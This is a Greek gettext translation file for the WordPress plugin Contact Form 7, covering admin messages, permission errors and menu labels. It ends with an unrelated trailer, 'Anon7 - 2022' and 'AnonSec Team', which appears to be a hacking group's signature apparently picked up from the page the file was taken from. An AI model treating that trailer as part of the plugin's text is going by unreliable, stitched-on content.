#. translators: 1: version of Contact Form 7, 2: version of WordPress, 3: URL
#: admin/admin.php:708
msgid "<strong>Contact Form 7 %1$s requires WordPress %2$s or higher.</strong> Please <a href=\"%3$s\">update WordPress</a> first."
msgstr "<strong>Το Contact Form 7 %1$s απαιτεί έκδοση του WordPress %2$s ή μεγαλύτερη.</strong> Παρακαλούμε <a href=\"%3$s\">αναβαθμίστε το WordPress</a> πρώτα."

#: admin/admin.php:690
msgid "Settings"
msgstr "Ρυθμίσεις"

#: admin/admin.php:643
msgid "Contact form deleted."
msgstr "Η φόρμα επικοινωνίας διαγράφηκε."

#: admin/admin.php:641
msgid "Contact form saved."
msgstr "Η φόρμα επικοινωνίας αποθηκεύτηκε."

#: admin/admin.php:639
msgid "Contact form created."
msgstr "Η φόρμα επικοινωνίας δημιουργήθηκε."

#: admin/admin.php:503
msgid "Search Contact Forms"
msgstr "Αναζήτηση φορμών επικοινωνίας"

#: admin/admin.php:349
msgid "Error in deleting."
msgstr "Σφάλμα κατά την διαγραφή."

#: admin/admin.php:343
msgid "You are not allowed to delete this item."
msgstr "Δεν έχετε δικαίωμα να διαγράψετε αυτό το στοιχείο."

#: admin/admin.php:245 admin/admin.php:298
msgid "You are not allowed to edit this item."
msgstr "Δεν έχετε δικαίωμα να επεξεργαστείτε αυτό το στοιχείο."

#: admin/admin.php:66
msgid "Integration"
msgstr "Ενσωμάτωση"

#: admin/admin.php:41 admin/admin.php:444 includes/contact-form.php:51
msgid "Contact Forms"
msgstr "Φόρμες επικοινωνίας"

#: admin/admin.php:40 admin/edit-contact-form.php:42
msgid "Edit Contact Form"
msgstr "Επεξεργασία φόρμας επικοινωνίας"

#: admin/admin.php:30
msgid "Contact"
msgstr "Επικοινωνία"

#. Plugin Name of the plugin
#: wp-contact-form-7.php admin/admin.php:29 modules/flamingo.php:219
msgid "Contact Form 7"
msgstr "Contact Form 7"

Anon7 - 2022
AnonSec Team